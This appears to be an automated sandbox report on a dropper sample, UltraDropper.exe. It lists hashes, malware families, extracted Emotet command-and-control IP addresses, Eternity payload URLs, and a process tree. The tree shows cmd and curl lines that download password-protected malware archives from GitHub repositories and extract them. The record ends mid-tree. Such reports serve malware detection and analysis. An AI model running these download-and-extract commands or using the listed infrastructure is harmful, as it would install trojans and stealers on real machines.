dcrat | fe19aeec466180589b0fba6cfcf11b9741f3c19fa8ee29a26a4e9ea8da5114de

Resubmissions

23/02/2026, 14:50

260223-r7jzesgx7e

28/11/2025, 15:33

28/11/2025, 15:33

28/11/2025, 15:32

12/12/2024, 17:03

Analysis

max time kernel
22s
max time network
29s
platform
windows10-2004_x64
resource
win10v2004-20251016-en
resource tags

arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
submitted
28/11/2025, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
UltraDropper.exe
Size 2.1MB
Sample251128-sys2eayjdr
SHA256 fe19aeec466180589b0fba6cfcf11b9741f3c19fa8ee29a26a4e9ea8da5114de
MD5 d61d6669d8af8bc8c02b944f908677b9
SHA1 42274847fc24aac797ac5fd74aa469e5d4786495
SHA512 8ec3fd3659970495ce72b9d21e95dcbf4302a4655f12275f6bbdabac330973a261cda07189be16846f5c42377dd40aa0813973687a9d8a597d7b84fba7f3b604
SSDEEP 49152:pW2vZKbn0KJrgcvZ4dvTrRpjgYhNWue0CJAop:PvZKrJ5vZ4drfgYOfF
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

banker epoch5 discovery dcrat emotet eternity privateloader infostealer loader rat trojan upx

Malware Config

Extracted

Family

eternity

http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion

Attributes

payload_urls
https://raroford3242.xyz/myupdate.exe

https://raroford3242.xyz/Sklmsstregens.vbs, https://raroford3242.xyz/remcexecrypt.exe, https://raroford3242.xyz/redlcryp.exe, https://raroford3242.xyz/racoocry.exe

https://raroford3242.xyz/myupdate.exe

https://raroford3242.xyz/myupdate.exe

Extracted

Family

emotet

Botnet

Epoch5

178.238.225.252:8080
139.196.72.155:8080
36.67.23.59:443
103.56.149.105:8080
37.44.244.177:8080
85.25.120.45:8080
202.134.4.210:7080
78.47.204.80:443
83.229.80.93:8080
93.104.209.107:8080
80.211.107.116:8080
165.22.254.236:8080
104.244.79.94:443
185.148.169.10:8080
190.145.8.4:443
175.126.176.79:8080
139.59.80.108:8080
188.165.79.151:443
128.199.217.206:443
64.227.55.231:8080
218.38.121.17:443
103.71.99.57:8080
103.224.241.74:8080
128.199.242.164:8080
85.214.67.203:8080
103.254.12.236:7080
46.101.98.60:8080
178.62.112.199:8080
210.57.209.142:8080
195.77.239.39:8080
103.126.216.86:443
82.98.180.154:7080
202.28.34.99:8080
174.138.33.49:7080
160.16.143.191:8080
51.75.33.122:443
103.41.204.169:8080
186.250.48.5:443
87.106.97.83:7080
118.98.72.86:443
196.44.98.190:8080
103.85.95.4:8080
62.171.178.147:8080
54.37.228.122:443
114.79.130.68:443
198.199.70.22:8080

ecs1.plain

eck1.plain

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Emotet family
emotet
Eternity
Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.
eternity
Eternity family
eternity
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Privateloader family
privateloader

DCRat payload 1 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x000700000002422b-137.dat	dcrat

Executes dropped EXE 20 IoCs

pid	Process
1876	ud.curl.exe
2100	ud.7z.exe
6048	ud.curl.exe
5868	ud.7z.exe
3920	ud.curl.exe
1168	ud.7z.exe
1388	ud.curl.exe
6120	ud.7z.exe
1488	ud.curl.exe
5212	ud.7z.exe
2108	ud.curl.exe
1192	ud.7z.exe
5808	ud.curl.exe
2536	ud.7z.exe
2612	ud.curl.exe
5816	ud.7z.exe
5084	ud.curl.exe
2012	ud.7z.exe
4088	ud.curl.exe
4780	ud.7z.exe

Loads dropped DLL 9 IoCs

pid	Process
2100	ud.7z.exe
5868	ud.7z.exe
1168	ud.7z.exe
5212	ud.7z.exe
1192	ud.7z.exe
2536	ud.7z.exe
5816	ud.7z.exe
2012	ud.7z.exe
4780	ud.7z.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 11 IoCs

Web Service

T1102

flow	ioc
35	raw.githubusercontent.com
46	raw.githubusercontent.com
49	raw.githubusercontent.com
61	raw.githubusercontent.com
18	raw.githubusercontent.com
43	raw.githubusercontent.com
51	raw.githubusercontent.com
58	raw.githubusercontent.com
19	raw.githubusercontent.com
21	raw.githubusercontent.com
27	raw.githubusercontent.com

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
65	ipinfo.io
66	ipinfo.io
69	api.db-ip.com
70	api.db-ip.com

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002424a-173.dat	upx
behavioral1/memory/1624-183-0x0000000000400000-0x0000000000410000-memory.dmp	upx

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4540	652	WerFault.exe	137

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UltraDropper.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ud.curl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious use of AdjustPrivilegeToken 36 IoCs

description	pid	Process
Token: SeRestorePrivilege	2100	ud.7z.exe
Token: 35	2100	ud.7z.exe
Token: SeSecurityPrivilege	2100	ud.7z.exe
Token: SeSecurityPrivilege	2100	ud.7z.exe
Token: SeRestorePrivilege	5868	ud.7z.exe
Token: 35	5868	ud.7z.exe
Token: SeSecurityPrivilege	5868	ud.7z.exe
Token: SeSecurityPrivilege	5868	ud.7z.exe
Token: SeRestorePrivilege	1168	ud.7z.exe
Token: 35	1168	ud.7z.exe
Token: SeSecurityPrivilege	1168	ud.7z.exe
Token: SeSecurityPrivilege	1168	ud.7z.exe
Token: SeRestorePrivilege	5212	ud.7z.exe
Token: 35	5212	ud.7z.exe
Token: SeSecurityPrivilege	5212	ud.7z.exe
Token: SeSecurityPrivilege	5212	ud.7z.exe
Token: SeRestorePrivilege	1192	ud.7z.exe
Token: 35	1192	ud.7z.exe
Token: SeSecurityPrivilege	1192	ud.7z.exe
Token: SeSecurityPrivilege	1192	ud.7z.exe
Token: SeRestorePrivilege	2536	ud.7z.exe
Token: 35	2536	ud.7z.exe
Token: SeSecurityPrivilege	2536	ud.7z.exe
Token: SeSecurityPrivilege	2536	ud.7z.exe
Token: SeRestorePrivilege	5816	ud.7z.exe
Token: 35	5816	ud.7z.exe
Token: SeSecurityPrivilege	5816	ud.7z.exe
Token: SeSecurityPrivilege	5816	ud.7z.exe
Token: SeRestorePrivilege	2012	ud.7z.exe
Token: 35	2012	ud.7z.exe
Token: SeSecurityPrivilege	2012	ud.7z.exe
Token: SeSecurityPrivilege	2012	ud.7z.exe
Token: SeRestorePrivilege	4780	ud.7z.exe
Token: 35	4780	ud.7z.exe
Token: SeSecurityPrivilege	4780	ud.7z.exe
Token: SeSecurityPrivilege	4780	ud.7z.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 3816	2412	UltraDropper.exe	94
PID 2412 wrote to memory of 3816	2412	UltraDropper.exe	94
PID 2412 wrote to memory of 3816	2412	UltraDropper.exe	94
PID 3816 wrote to memory of 1876	3816	cmd.exe	95
PID 3816 wrote to memory of 1876	3816	cmd.exe	95
PID 3816 wrote to memory of 1876	3816	cmd.exe	95
PID 3816 wrote to memory of 2100	3816	cmd.exe	96
PID 3816 wrote to memory of 2100	3816	cmd.exe	96
PID 3816 wrote to memory of 2100	3816	cmd.exe	96
PID 2412 wrote to memory of 3492	2412	UltraDropper.exe	97
PID 2412 wrote to memory of 3492	2412	UltraDropper.exe	97
PID 2412 wrote to memory of 3492	2412	UltraDropper.exe	97
PID 3492 wrote to memory of 6048	3492	cmd.exe	98
PID 3492 wrote to memory of 6048	3492	cmd.exe	98
PID 3492 wrote to memory of 6048	3492	cmd.exe	98
PID 3492 wrote to memory of 5868	3492	cmd.exe	99
PID 3492 wrote to memory of 5868	3492	cmd.exe	99
PID 3492 wrote to memory of 5868	3492	cmd.exe	99
PID 2412 wrote to memory of 3284	2412	UltraDropper.exe	100
PID 2412 wrote to memory of 3284	2412	UltraDropper.exe	100
PID 2412 wrote to memory of 3284	2412	UltraDropper.exe	100
PID 3284 wrote to memory of 3920	3284	cmd.exe	101
PID 3284 wrote to memory of 3920	3284	cmd.exe	101
PID 3284 wrote to memory of 3920	3284	cmd.exe	101
PID 3284 wrote to memory of 1168	3284	cmd.exe	102
PID 3284 wrote to memory of 1168	3284	cmd.exe	102
PID 3284 wrote to memory of 1168	3284	cmd.exe	102
PID 2412 wrote to memory of 5132	2412	UltraDropper.exe	103
PID 2412 wrote to memory of 5132	2412	UltraDropper.exe	103
PID 2412 wrote to memory of 5132	2412	UltraDropper.exe	103
PID 5132 wrote to memory of 1388	5132	cmd.exe	104
PID 5132 wrote to memory of 1388	5132	cmd.exe	104
PID 5132 wrote to memory of 1388	5132	cmd.exe	104
PID 5132 wrote to memory of 6120	5132	cmd.exe	105
PID 5132 wrote to memory of 6120	5132	cmd.exe	105
PID 5132 wrote to memory of 6120	5132	cmd.exe	105
PID 2412 wrote to memory of 6116	2412	UltraDropper.exe	106
PID 2412 wrote to memory of 6116	2412	UltraDropper.exe	106
PID 2412 wrote to memory of 6116	2412	UltraDropper.exe	106
PID 6116 wrote to memory of 1488	6116	cmd.exe	107
PID 6116 wrote to memory of 1488	6116	cmd.exe	107
PID 6116 wrote to memory of 1488	6116	cmd.exe	107
PID 6116 wrote to memory of 5212	6116	cmd.exe	108
PID 6116 wrote to memory of 5212	6116	cmd.exe	108
PID 6116 wrote to memory of 5212	6116	cmd.exe	108
PID 2412 wrote to memory of 4912	2412	UltraDropper.exe	109
PID 2412 wrote to memory of 4912	2412	UltraDropper.exe	109
PID 2412 wrote to memory of 4912	2412	UltraDropper.exe	109
PID 4912 wrote to memory of 2108	4912	cmd.exe	110
PID 4912 wrote to memory of 2108	4912	cmd.exe	110
PID 4912 wrote to memory of 2108	4912	cmd.exe	110
PID 4912 wrote to memory of 1192	4912	cmd.exe	111
PID 4912 wrote to memory of 1192	4912	cmd.exe	111
PID 4912 wrote to memory of 1192	4912	cmd.exe	111
PID 2412 wrote to memory of 1988	2412	UltraDropper.exe	112
PID 2412 wrote to memory of 1988	2412	UltraDropper.exe	112
PID 2412 wrote to memory of 1988	2412	UltraDropper.exe	112
PID 1988 wrote to memory of 5808	1988	cmd.exe	113
PID 1988 wrote to memory of 5808	1988	cmd.exe	113
PID 1988 wrote to memory of 5808	1988	cmd.exe	113
PID 1988 wrote to memory of 2536	1988	cmd.exe	114
PID 1988 wrote to memory of 2536	1988	cmd.exe	114
PID 1988 wrote to memory of 2536	1988	cmd.exe	114
PID 2412 wrote to memory of 1976	2412	UltraDropper.exe	115

cURL User-Agent 20 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	19	curl/8.7.1
HTTP User-Agent header	21	curl/8.7.1
HTTP User-Agent header	35	curl/8.7.1
HTTP User-Agent header	48	curl/8.7.1
HTTP User-Agent header	49	curl/8.7.1
HTTP User-Agent header	57	curl/8.7.1
HTTP User-Agent header	61	curl/8.7.1
HTTP User-Agent header	60	curl/8.7.1
HTTP User-Agent header	25	curl/8.7.1
HTTP User-Agent header	27	curl/8.7.1
HTTP User-Agent header	28	curl/8.7.1
HTTP User-Agent header	41	curl/8.7.1
HTTP User-Agent header	43	curl/8.7.1
HTTP User-Agent header	45	curl/8.7.1
HTTP User-Agent header	50	curl/8.7.1
HTTP User-Agent header	51	curl/8.7.1
HTTP User-Agent header	14	curl/8.7.1
HTTP User-Agent header	20	curl/8.7.1
HTTP User-Agent header	46	curl/8.7.1
HTTP User-Agent header	58	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe
"C:\Users\Admin\AppData\Local\Temp\UltraDropper.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3816
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1876
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2100
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Pro%202017.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6048
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPro2017.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5868
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3284
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/Antivirus%20Platinum.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3920
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\AntivirusPlatinum.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip" && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" --ssl-no-revoke x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5132
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" "https://github.com/Endermanch/MalwareDatabase/raw/master/rogues/RegistrySmart.zip"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1388
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" --ssl-no-revoke x "C:\Users\Admin\AppData\Local\Temp\RegistrySmart.zip" -p"mysubsarethebest" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:6120
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:6116
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\socelars.zip" "https://github.com/Princekin/malware-database/raw/main/Socelars%20Trojan/Socelars%20-%2024.09.2022.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1488
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\socelars.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5212
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\eternity.zip" "https://github.com/Princekin/malware-database/raw/main/Eternity%20Project/Eternity%20Worm%20-%2009.11.2022.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2108
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\eternity.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:1192
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\vidar.zip" "https://github.com/Princekin/malware-database/raw/main/Vidar%20Stealer/vidar%20-%2004.11.2022.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5808
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\vidar.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1976
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\dc.zip" "https://github.com/Princekin/malware-database/raw/main/DcRat/DcRat%20-%2009.10.2022.zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2612
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\dc.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5816
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5592
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
    C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\laplas.zip" "https://github.com/Princekin/malware-database/raw/main/Laplas%20Clipper/Laplas%20-%2008.12.2022%20(FUD%203%20of%2071).zip" --ssl-no-revoke
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5084
- - C:\Users\Admin\AppData\Local\Temp\ud.7z.exe
    "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\laplas.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2012
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\ud.curl.exe -L -o "C:\Users\Admin\AppData\Local\Temp\njrat.zip" "https://github.com/ytisf/theZoo/raw/master/malware/Binaries/njRAT-v0.6.4/njRAT-v0.6.4.zip" --ssl-no-revoke && "C:\Users\Admin\AppData\Local\Temp\ud.7z.exe" x "C:\Users\Admin\AppData\Local\Temp\njrat.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp\ultradrp\njrat"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1068
- - C:\Users\Admin\AppData\Local\Temp\ud.curl.exe
